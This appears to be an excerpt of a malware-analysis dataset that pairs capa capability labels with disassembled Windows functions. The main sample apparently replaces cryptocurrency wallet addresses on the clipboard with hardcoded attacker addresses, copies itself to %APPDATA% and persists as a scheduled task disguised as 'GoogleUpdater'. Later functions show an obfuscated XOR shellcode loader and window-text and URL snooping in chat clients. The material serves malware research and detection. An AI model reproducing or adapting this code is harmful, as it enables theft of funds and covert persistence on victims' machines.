joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402140
Capabilities:
Contain obfuscated stackstrings
Open clipboard
Write clipboard data

Disassembly:
push ebx
sub esp, 0x48
mov dword [esp + 4], 0x24
mov dword [esp], 0x2002
mov dword [esp + 0x1c], 0x5a563174
mov dword [esp + 0x20], 0x716e6f32
mov dword [esp + 0x24], 0x61444836
mov dword [esp + 0x28], 0x6d4e3754
mov dword [esp + 0x2c], 0x6d387141
mov dword [esp + 0x30], 0x614e7169
mov dword [esp + 0x34], 0x6d666d38
mov dword [esp + 0x38], 0x70613462
mov dword [esp + 0x3c], 0x713467
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov ebx, eax
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalLock
sub esp, 4
mov edx, dword [esp + 0x1c]
mov dword [eax], edx
mov edx, dword [esp + 0x20]
mov dword [eax + 4], edx
mov edx, dword [esp + 0x24]
mov dword [eax + 8], edx
mov edx, dword [esp + 0x28]
mov dword [eax + 0xc], edx
mov edx, dword [esp + 0x2c]
mov dword [eax + 0x10], edx
mov edx, dword [esp + 0x30]
mov dword [eax + 0x14], edx
mov edx, dword [esp + 0x34]
mov dword [eax + 0x18], edx
mov edx, dword [esp + 0x38]
mov dword [eax + 0x1c], edx
mov edx, dword [esp + 0x3c]
mov dword [eax + 0x20], edx
mov dword [esp], ebx
call sub.KERNEL32.dll_GlobalUnlock
sub esp, 4
mov dword [esp], 0
call sub.USER32.dll_OpenClipboard
sub esp, 4
test eax, eax
je 0x402229
call sub.USER32.dll_EmptyClipboard
mov dword [esp + 4], ebx
mov dword [esp], 1
call sub.USER32.dll_SetClipboardData
sub esp, 8
call sub.USER32.dll_CloseClipboard
add esp, 0x48
pop ebx
ret

Function at 0x402230
Capabilities:
Contain obfuscated stackstrings
Open clipboard
Write clipboard data

Disassembly:
push ebx
mov eax, 0x556d
sub esp, 0x48
mov dword [esp + 4], 0x23
mov dword [esp], 0x2002
mov dword [esp + 0x1d], 0x47717072
mov dword [esp + 0x21], 0x436d5672
mov dword [esp + 0x25], 0x4d684a46
mov dword [esp + 0x29], 0x67456e36
mov dword [esp + 0x2d], 0x66573967
mov dword [esp + 0x31], 0x31366745
mov dword [esp + 0x35], 0x39704175
mov dword [esp + 0x39], 0x4337314a
mov word [esp + 0x3d], ax
mov byte [esp + 0x3f], 0
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov ebx, eax
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalLock
sub esp, 4
mov edx, dword [esp + 0x1d]
mov dword [eax], edx
mov edx, dword [esp + 0x21]
mov dword [eax + 4], edx
mov edx, dword [esp + 0x25]
mov dword [eax + 8], edx
mov edx, dword [esp + 0x29]
mov dword [eax + 0xc], edx
mov edx, dword [esp + 0x2d]
mov dword [eax + 0x10], edx
mov edx, dword [esp + 0x31]
mov dword [eax + 0x14], edx
mov edx, dword [esp + 0x35]
mov dword [eax + 0x18], edx
mov edx, dword [esp + 0x39]
mov dword [eax + 0x1c], edx
movzx edx, word [esp + 0x3d]
mov word [eax + 0x20], dx
movzx edx, byte [esp + 0x3f]
mov byte [eax + 0x22], dl
mov dword [esp], ebx
call sub.KERNEL32.dll_GlobalUnlock
sub esp, 4
mov dword [esp], 0
call sub.USER32.dll_OpenClipboard
sub esp, 4
test eax, eax
je 0x40232a
call sub.USER32.dll_EmptyClipboard
mov dword [esp + 4], ebx
mov dword [esp], 1
call sub.USER32.dll_SetClipboardData
sub esp, 8
call sub.USER32.dll_CloseClipboard
add esp, 0x48
pop ebx
ret
Function at 0x402330
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push edi
push esi
mov ecx, 0x1a
push ebx
mov esi, str.addr1q9xhzlqa7q3sjzpqw83qgtrr6mnfk862jhj0d6sjxqwgzq3qkgq7vag86qd8d29xk7xd6zcqyntwhjp5dv9rhqfjyskqmu67sm
add esp, 0xffffff80
lea edi, [esp + 0x18]
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 4], 0x68
mov dword [esp], 0x2002
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov ebx, eax
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalLock
sub esp, 4
lea edi, [eax + 4]
mov edx, dword [esp + 0x18]
lea esi, [esp + 0x18]
and edi, 0xfffffffc
mov dword [eax], edx
mov edx, dword [esp + 0x7c]
mov dword [eax + 0x64], edx
sub eax, edi
lea ecx, [eax + 0x68]
sub esi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov dword [esp], ebx
call sub.KERNEL32.dll_GlobalUnlock
sub esp, 4
mov dword [esp], 0
call sub.USER32.dll_OpenClipboard
sub esp, 4
test eax, eax
je 0x4023c8
call sub.USER32.dll_EmptyClipboard
mov dword [esp + 4], ebx
mov dword [esp], 1
call sub.USER32.dll_SetClipboardData
sub esp, 8
call sub.USER32.dll_CloseClipboard
sub esp, 0xffffff80
pop ebx
pop esi
pop edi
ret

Function at 0x4023d0
Capabilities:
Contain obfuscated stackstrings
Open clipboard
Write clipboard data

Disassembly:
push ebx
mov eax, 0x3774
sub esp, 0x48
mov dword [esp + 4], 0x2b
mov dword [esp], 0x2002
mov dword [esp + 0x15], 0x31626e62
mov dword [esp + 0x19], 0x78736177
mov dword [esp + 0x1d], 0x7130726a
mov dword [esp + 0x21], 0x70796e33
mov dword [esp + 0x25], 0x346a6632
mov dword [esp + 0x29], 0x30653272
mov dword [esp + 0x2d], 0x70737564
mov dword [esp + 0x31], 0x73373974
mov dword [esp + 0x35], 0x75726163
mov dword [esp + 0x39], 0x70377732
mov word [esp + 0x3d], ax
mov byte [esp + 0x3f], 0
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov ebx, eax
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalLock
sub esp, 4
mov edx, dword [esp + 0x15]
mov dword [eax], edx
mov edx, dword [esp + 0x19]
mov dword [eax + 4], edx
mov edx, dword [esp + 0x1d]
mov dword [eax + 8], edx
mov edx, dword [esp + 0x21]
mov dword [eax + 0xc], edx
mov edx, dword [esp + 0x25]
mov dword [eax + 0x10], edx
mov edx, dword [esp + 0x29]
mov dword [eax + 0x14], edx
mov edx, dword [esp + 0x2d]
mov dword [eax + 0x18], edx
mov edx, dword [esp + 0x31]
mov dword [eax + 0x1c], edx
mov edx, dword [esp + 0x35]
mov dword [eax + 0x20], edx
mov edx, dword [esp + 0x39]
mov dword [eax + 0x24], edx
movzx edx, word [esp + 0x3d]
mov word [eax + 0x28], dx
movzx edx, byte [esp + 0x3f]
mov byte [eax + 0x2a], dl
mov dword [esp], ebx
call sub.KERNEL32.dll_GlobalUnlock
sub esp, 4
mov dword [esp], 0
call sub.USER32.dll_OpenClipboard
sub esp, 4
test eax, eax
je 0x4024e8
call sub.USER32.dll_EmptyClipboard
mov dword [esp + 4], ebx
mov dword [esp], 1
call sub.USER32.dll_SetClipboardData
sub esp, 8
call sub.USER32.dll_CloseClipboard
add esp, 0x48
pop ebx
ret
Function at 0x402970
Capabilities:
Copy file
Move file

Disassembly:
push esi
push ebx
sub esp, 0x124
mov ebx, dword [esp + 0x134]
lea esi, [esp + 0x1c]
mov dword [esp + 4], str._APPDATA__service.exe
mov dword [esp], esi
mov dword [esp + 8], ebx
call sub.msvcrt.dll_sprintf
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_rename
mov eax, dword [esp + 0x130]
mov dword [esp + 4], ebx
mov dword [esp + 8], 0
mov dword [esp], eax
call sub.KERNEL32.dll_CopyFileA
sub esp, 0xc
xor eax, eax
add esp, 0x124
pop ebx
pop esi
ret
Function at 0x403010
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x40a044
call sub.KERNEL32.dll_EnterCriticalSection
mov ebx, dword [0x40a03c]
sub esp, 4
test ebx, ebx
je 0x40305b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sub.KERNEL32.dll_TlsGetValue
sub esp, 4
mov esi, eax
call sub.KERNEL32.dll_GetLastError
test eax, eax
jne 0x403054
test esi, esi
je 0x403054
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x403030
mov dword [esp], 0x40a044
call sub.KERNEL32.dll_LeaveCriticalSection
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x403240
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x403290
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.KERNEL32.dll_VirtualQuery
sub esp, 0xc
test eax, eax
je 0x403368
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x4032ce
cmp eax, 4
jne 0x4032f0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sub.msvcrt.dll_memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x4032de
cmp edx, 4
je 0x4032de
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00403240
Function at 0x405130
Capabilities:
Create process on windows
Open clipboard
Query environment variable
Read clipboard data
Schedule task via at
Schedule task via schtasks

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push esi
push ebx
push ecx
lea ebx, [ebp - 0x324]
lea esi, [ebp - 0x220]
sub esp, 0x33c
call fcn.00402f00
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], str._C_schtasks__create__tn_GoogleUpdater__tr__APPDATA__service.exe__st_00:00__du_9999:59__sc_daily__ri_1__f
mov dword [esp + 8], str.cmd.exe
mov dword [esp + 4], str.open
mov dword [esp], 0
call sub.SHELL32.DLL_ShellExecuteA
sub esp, 0x18
mov dword [esp], 0
call sub.KERNEL32.dll_GetModuleHandleA
sub esp, 4
mov dword [esp + 4], ebx
mov dword [esp + 8], 0x104
mov dword [esp], eax
call sub.KERNEL32.dll_GetModuleFileNameA
sub esp, 0xc
mov dword [esp + 4], esi
mov dword [esp + 8], 0x104
mov dword [esp], str._APPDATA_
call sub.KERNEL32.dll_ExpandEnvironmentStringsA
sub esp, 0xc
mov dword [esp + 8], esi
lea esi, [ebp - 0x11c]
mov dword [esp + 0xc], str.service.exe
mov dword [esp + 4], str._s_s
mov dword [esp], esi
call sub.msvcrt.dll_sprintf
mov dword [esp + 4], esi
mov dword [esp], ebx
call fcn.00402970
jmp 0x40520f
mov dword [esp], 0x190
call sub.KERNEL32.dll_Sleep
sub esp, 4
mov dword [esp], 0
call sub.USER32.dll_OpenClipboard
sub esp, 4
test eax, eax
je 0x405200
mov dword [esp], 1
call sub.USER32.dll_GetClipboardData
sub esp, 4
test eax, eax
mov esi, eax
je 0x405350
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalLock
sub esp, 4
test eax, eax
mov ebx, eax
je 0x405350
mov dword [esp], esi
call sub.KERNEL32.dll_GlobalUnlock
sub esp, 4
mov dword [esp], ebx
call fcn.00401b10
test al, al
jne 0x405370
mov dword [esp], ebx
call fcn.004019b0
test al, al
jne 0x405360
mov dword [esp], ebx
call fcn.004024f0
test al, al
jne 0x405380
mov dword [esp], ebx
call fcn.00402620
test al, al
jne 0x405390
mov dword [esp], ebx
call fcn.00402680
test al, al
jne 0x4053a0
mov dword [esp], ebx
call fcn.004027c0
test al, al
jne 0x4053b0
mov dword [esp], ebx
call fcn.00402760
test al, al
jne 0x4053b7
mov dword [esp], ebx
call fcn.00402700
test al, al
jne 0x4053be
mov dword [esp], ebx
call fcn.00402890
test al, al
jne 0x4053c5
mov dword [esp], ebx
call fcn.00402820
test al, al
jne 0x4053cc
mov dword [esp], ebx
call fcn.00402900
test al, al
jne 0x4053d6
mov dword [esp], ebx
call fcn.004025c0
test al, al
jne 0x4053e0
mov dword [esp], ebx
call fcn.00402550
test al, al
jne 0x4053ea
mov dword [esp], ebx
call fcn.004015b0
test al, al
jne 0x4053f4
mov dword [esp], ebx
call fcn.00401850
test al, al
jne 0x4053fe
nop
lea esi, [esi]
call sub.USER32.dll_CloseClipboard
jmp 0x405200
call fcn.00401a10
jmp 0x405350
call fcn.00401b70
jmp 0x40526b
call fcn.00401610
jmp 0x405350
call fcn.00401730
jmp 0x405350
call fcn.00401c70
jmp 0x405350
call fcn.00402230
jmp 0x405350
call fcn.00401ea0
jmp 0x405350
call fcn.00401d90
jmp 0x405350
call fcn.00402140
jmp 0x405350
call fcn.00401f40
jmp 0x405350
call fcn.00402040
jmp 0x405350
call fcn.004023d0
jmp 0x405350
call fcn.00402330
jmp 0x405350
call fcn.00401460
jmp 0x405350
call fcn.004018b0
jmp 0x405350
Function at 0x10007faf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x10007fbe
pop dword [ebp - 0x48]
mov eax, 0x3878d8ba
sub eax, 0x287858fc
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x64204c43
sub dword [ebp - 0x58], 0x15ce06f8
mov dword [ebp - 0x54], 0x42a62122
sub dword [ebp - 0x54], 0x1072d4dd
mov dword [ebp - 0x50], 0x9ad337d7
sub dword [ebp - 0x50], 0x4e86f3a9
mov dword [ebp - 0x4c], 0x202d8794
sub dword [ebp - 0x4c], 0x202d8794
lea eax, [ebp - 0x58]
push eax
mov eax, 0xe51efe96
sub eax, 0xd51d3e16
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0xdfadf4f8
sub dword [ebp - 0x58], 0x6b3b8ba2
mov dword [ebp - 0x54], 0x7a557d26
add dword [ebp - 0x54], 0xc716e44f
mov dword [ebp - 0x50], 0xe3dcbc2f
sub dword [ebp - 0x50], 0x806d4fc3
mov dword [ebp - 0x4c], 0xa3743966
sub dword [ebp - 0x4c], 0xa3743966
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0x51e25a5d
add eax, 0xbe1f65a3
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x36b33
push 0
call eax
mov ecx, 0x44d0
mov ebx, eax
mov edx, 0x198bc786
sub edx, 0x9895f86
add edx, dword [ebp - 0x48]
mov edi, 0x939c1489
mov esi, dword [edx]
xor dword [ebp - 0x14], ecx
add esi, edi
xor dword [ebp - 0x34], 0xfff2c51
mov dword [ebx], esi
xor dword [ebp - 0x24], 0x84dd2b85
add ebx, 4
add edx, 0x965e0e99
sub edx, 0x965e0e95
loop 0x100080d4
add eax, 0x62b168ed
add eax, 0x9d4f9d26
xor ebx, ebx
add ebx, eax
add eax, 0x10959580
sub eax, 0x1095957b
mov ecx, 0x133e8301
add ecx, 0xfcc17cff
add ecx, dword [ebp - 0x48]
call ebx
leave
ret

Function at 0x10008fc4
Capabilities:
Read file on windows

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
xor ebp, ebp
push 0x1000
mov dword [esp + 0x14], ebp
call sub.glib_lite.dll_Ordinal_406
mov esi, dword [esp + 0x1c]
mov edi, eax
mov ebx, dword [esp + 0x20]
pop ecx
mov dword [ebx], ebp
mov eax, dword [esi + 0x118]
sub eax, dword [esi + 0x110]
mov ecx, dword [esi + 0x11c]
sbb ecx, dword [esi + 0x114]
add eax, 0xffffffff
adc ecx, 0xffffffff
cmp ecx, ebp
ja 0x1000901f
jb 0x10009011
cmp eax, 0xffe
ja 0x1000901f
mov eax, dword [esi + 0x118]
sub eax, dword [esi + 0x110]
jmp 0x10009024
mov eax, 0x1000
test edi, edi
je 0x1000909a
push ebp
lea ecx, [esp + 0x14]
push ecx
push eax
push edi
push dword [esi + 0x104]
call dword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
je 0x10009093
push sub.glib_lite.dll_Ordinal_109
push edi
push dword [esp + 0x18]
push ebp
push 0x1000
push edi
push ebp
call sub.gstreamer_lite.dll_Ordinal_25
add esp, 0x1c
mov dword [ebx], eax
test eax, eax
je 0x10009072
mov ecx, dword [esi + 0x110]
mov dword [eax + 0x40], ecx
mov ecx, dword [esi + 0x114]
mov dword [eax + 0x44], ecx
mov eax, dword [esp + 0x10]
add eax, dword [esi + 0x110]
push 0
pop edx
adc edx, dword [esi + 0x114]
mov dword [esi + 0x110], eax
mov dword [esi + 0x114], edx
jmp 0x1000909e
push edi
call sub.glib_lite.dll_Ordinal_109
pop ecx
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x10002170
Capabilities:
Get graphical window text

Disassembly:
push edi
mov edi, dword [esp + 8]
test edi, edi
jne 0x1000217d
xor eax, eax
pop edi
ret
lea eax, [esp + 8]
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov eax, dword [esp + 8]
test eax, eax
je 0x10002179
push esi
push eax
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x1000223a
push 0x104
push 0x100d6ee0
push 0
push esi
call sub.PSAPI.DLL_GetModuleFileNameExW
push esi
test eax, eax
jne 0x1000223f
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.10002070
mov esi, eax
add esp, 4
test esi, esi
je 0x1000223a
push 0x104
push 0x100d6ee0
push esi
call dword [sym.imp.USER32.dll_GetClassNameW]
push str.32770
push 0x100d6ee0
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x1000223a
push 0x104
push 0x100d6ee0
push esi
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov esi, dword [sym.imp.SHLWAPI.dll_StrStrW]
push 0x100baad4
push 0x100d6ee0
call esi
test eax, eax
jne 0x10002232
push 0x100baac8
push 0x100d6ee0
call esi
test eax, eax
je 0x1000223a
pop esi
mov eax, 1
pop edi
ret
pop esi
xor eax, eax
pop edi
ret
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x100d6ee0
call fcn.10002020
add esp, 4
pop esi
pop edi
ret
Function at 0x10003720
Capabilities:
Get file version info

Disassembly:
sub esp, 8
push esi
push edi
mov edi, dword [esp + 0x14]
lea eax, [esp + 0xc]
push eax
push edi
mov esi, ecx
call sub.VERSION.dll_GetFileVersionInfoSizeW
test eax, eax
je 0x100037c9
cmp eax, dword [esi + 8]
jbe 0x1000375e
mov ecx, dword [esi + 4]
push ecx
mov dword [esi + 8], eax
call fcn.1007f6d5
mov edx, dword [esi + 8]
push edx
call fcn.1007f6ca
add esp, 8
mov dword [esi + 4], eax
mov eax, dword [esi + 4]
mov ecx, dword [esi + 8]
push eax
push ecx
push 0
push edi
call sub.VERSION.dll_GetFileVersionInfoW
test eax, eax
je 0x100037c9
mov ecx, dword [esi + 4]
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0xc]
push eax
push 0x100bab28
push ecx
call sub.VERSION.dll_VerQueryValueA
test eax, eax
je 0x100037c9
cmp dword [esp + 0x14], 0x34
jne 0x100037c9
mov eax, dword [esp + 8]
movzx edx, word [eax + 0xa]
mov ecx, dword [esp + 0x18]
mov word [ecx], dx
movzx edx, word [eax + 8]
mov word [ecx + 2], dx
movzx edx, word [eax + 0xe]
mov word [ecx + 4], dx
mov ax, word [eax + 0xc]
pop edi
mov word [ecx + 6], ax
mov eax, 1
pop esi
add esp, 8
ret 8
pop edi
xor eax, eax
pop esi
add esp, 8
ret 8
Function at 0x10003ad0
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0x7c
mov eax, dword [0x100d3fe0]
xor eax, esp
mov dword [esp + 0x78], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpW]
push ebp
push esi
mov esi, dword [esp + 0x8c]
push edi
mov edi, dword [esp + 0x94]
push str.DirectUIHWND
push edi
mov ebp, ecx
call ebx
test eax, eax
jne 0x10003c53
mov eax, dword [esp + 0x98]
cmp eax, 0x800e
jne 0x10003b57
mov eax, dword [esp + 0xa4]
mov ecx, eax
sub ecx, dword [0x100d72e4]
mov dword [0x100d72e4], eax
cmp ecx, 0x1e
jb 0x10003c71
push 2
push esi
mov ecx, ebp
call fcn.10003940
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
mov ecx, dword [esp + 0x78]
xor ecx, esp
call fcn.1007fec9
add esp, 0x7c
ret 0x18
cmp eax, 0x800a
jne 0x10003c39
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
mov edx, eax
sub edx, dword [0x100d72e0]
cmp edx, 0x32
jb 0x10003c71
push esi
mov dword [0x100d72e0], eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x10003c71
xor eax, eax
push 0x62
push eax
lea ecx, [esp + 0x2e]
push ecx
mov word [esp + 0x30], ax
call fcn.1007f650
mov ecx, dword [esp + 0xac]
add esp, 0xc
lea edx, [esp + 0x14]
push edx
mov edx, dword [esp + 0xa0]
lea eax, [esp + 0x14]
push eax
push ecx
push edx
push esi
mov dword [esp + 0x24], 0
call dword [0x100d6cc8]
mov eax, dword [esp + 0x10]
test eax, eax
je 0x10003c39
push 0x32
lea ecx, [esp + 0x28]
push ecx
lea edx, [esp + 0x1c]
push edx
push eax
call fcn.10002330
add esp, 0x10
push 0x100d6bc4
lea eax, [esp + 0x28]
push eax
call ebx
test eax, eax
jne 0x10003c2d
push esi
call dword [sym.imp.USER32.dll_GetParent]
push 0x32
lea ecx, [esp + 0x28]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetClassNameW]
push str.IMWindowClass
lea edx, [esp + 0x28]
push edx
call ebx
test eax, eax
jne 0x10003c2d
mov dword [ebp + 0x10], 1
call edi
mov dword [ebp + 0x14], eax
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
mov ecx, dword [esp + 0x78]
xor ecx, esp
call fcn.1007fec9
add esp, 0x7c
ret 0x18
push str.MSBLWindowClass
push edi
call ebx
test eax, eax
jne 0x10003c8b
cmp dword [ebp + 0xc], esi
je 0x10003c71
push 0x3eb
push esi
mov ecx, ebp
call fcn.10003940
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
mov ecx, dword [esp + 0x78]
xor ecx, esp
call fcn.1007fec9
add esp, 0x7c
ret 0x18
mov ecx, dword [esp + 0x88]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
xor eax, eax
call fcn.1007fec9
add esp, 0x7c
ret 0x18
Function at 0x100040e0
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x21c
mov eax, dword [0x100d3fe0]
xor eax, esp
mov dword [esp + 0x218], eax
mov eax, dword [esp + 0x220]
push ebp
mov ebp, ecx
mov ecx, dword [eax + 4]
cmp ecx, 0x8d2
jne 0x100042a2
cmp dword [eax + 0xc], 0x64
push esi
mov esi, dword [eax + 8]
jne 0x1000429e
push esi
mov dword [esp + 0xc], 0
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x10004280
push 0
push 0
push 0xe
push esi
call dword [sym.imp.USER32.dll_SendMessageA]
add eax, 0xfffffff4
cmp eax, 0xf2
ja 0x10004280
push ebx
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageW]
lea ecx, [esp + 0x14]
push ecx
xor eax, eax
push 0xa
push 0xd
push esi
mov word [esp + 0x24], ax
mov dword [esp + 0x26], eax
mov dword [esp + 0x2a], eax
mov dword [esp + 0x2e], eax
mov dword [esp + 0x32], eax
mov word [esp + 0x36], ax
call edi
mov ebx, dword [sym.imp.SHLWAPI.dll_StrStrIW]
push str.http:__
lea edx, [esp + 0x18]
push edx
call ebx
test eax, eax
jne 0x100041b7
push str.ftp:__
lea eax, [esp + 0x18]
push eax
call ebx
test eax, eax
jne 0x100041b7
push str.https:__
lea ecx, [esp + 0x18]
push ecx
call ebx
test eax, eax
je 0x1000427e
xor edx, edx
push 0x1fc
push edx
lea eax, [esp + 0x32]
push eax
mov word [esp + 0x34], dx
call fcn.1007f650
add esp, 0xc
lea ecx, [esp + 0x28]
push ecx
push 0xff
push 0xd
push esi
call edi
lea edx, [esp + 0x28]
push edx
lea esi, [ebp + 0xc]
push esi
mov edi, eax
call fcn.10001580
test al, al
je 0x1000427e
mov eax, dword [esi]
push eax
lea eax, [esp + 0x2c]
push eax
call ebx
test eax, eax
je 0x1000421e
lea ecx, [esp + 0x28]
push ecx
mov ecx, esi
call fcn.10001960
mov dword [0x100d72e8], 1
jmp 0x1000427e
cmp dword [0x100d72e8], 0
je 0x10004240
mov ecx, esi
call fcn.10001a90
push eax
push 0
push 0
push 0
push 0
push 0x64
mov ecx, ebp
call fcn.10003990
cmp edi, 0xe
mov dword [0x100d72e8], 0
mov edi, 1
jg 0x10004258
mov edi, dword [esp + 0x10]
lea edx, [esp + 0x28]
push edx
mov ecx, esi
call fcn.10001960
test edi, edi
je 0x1000427e
lea eax, [esp + 0x28]
push eax
push 0
push 0
push 0
push 0
push 0x64
mov ecx, ebp
call fcn.10003990
pop edi
pop ebx
mov eax, 1
pop esi
pop ebp
mov ecx, dword [esp + 0x218]
xor ecx, esp
call fcn.1007fec9
add esp, 0x21c
ret 4
xor eax, eax
jmp 0x10004285
xor eax, eax
cmp ecx, 0x113
mov ecx, dword [esp + 0x21c]
setne al
pop ebp
xor ecx, esp
call fcn.1007fec9
add esp, 0x21c
ret 4
Function at 0x10005210
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x2c
mov eax, dword [0x100d3fe0]
xor eax, esp
mov dword [esp + 0x28], eax
cmp dword [esp + 0x38], 3
push ebx
push ebp
push esi
mov esi, dword [esp + 0x3c]
push edi
mov edi, dword [esp + 0x44]
mov ebx, ecx
jne 0x1000531e
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcmpW]
push str.TMainForm
push edi
call ebp
test eax, eax
jne 0x100052c8
push str.uc.exe
push esi
call fcn.10002100
add esp, 8
test eax, eax
je 0x100052c8
xor eax, eax
push 0x14
lea ecx, [esp + 0x14]
push ecx
push esi
mov word [esp + 0x1c], ax
mov dword [esp + 0x1e], eax
mov dword [esp + 0x22], eax
mov dword [esp + 0x26], eax
mov dword [esp + 0x2a], eax
mov dword [esp + 0x2e], eax
mov dword [esp + 0x32], eax
mov dword [esp + 0x36], eax
mov dword [esp + 0x3a], eax
mov dword [esp + 0x3e], eax
mov word [esp + 0x42], ax
call dword [sym.imp.USER32.dll_GetWindowTextW]
cmp word [esp + 0x10], 0
je 0x100052ae
lea edx, [esp + 0x10]
push edx
lea ecx, [ebx + 0x10]
call fcn.10001960
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
mov ecx, dword [esp + 0x28]
xor ecx, esp
call fcn.1007fec9
add esp, 0x2c
ret 0x18
push str.TtextChatForm
push edi
call ebp
test eax, eax
jne 0x1000531e
push str.uc.exe
push esi
call fcn.10002100
add esp, 8
test eax, eax
je 0x1000531e
push 0x3e8
push 0x7d4
mov ecx, ebx
mov dword [ebx + 0xc], esi
call fcn.100038b0
push 5
push esi
mov ecx, ebx
call fcn.10003940
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
mov ecx, dword [esp + 0x28]
xor ecx, esp
call fcn.1007fec9
add esp, 0x2c
ret 0x18
mov ecx, dword [esp + 0x38]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
xor eax, eax
call fcn.1007fec9
add esp, 0x2c
ret 0x18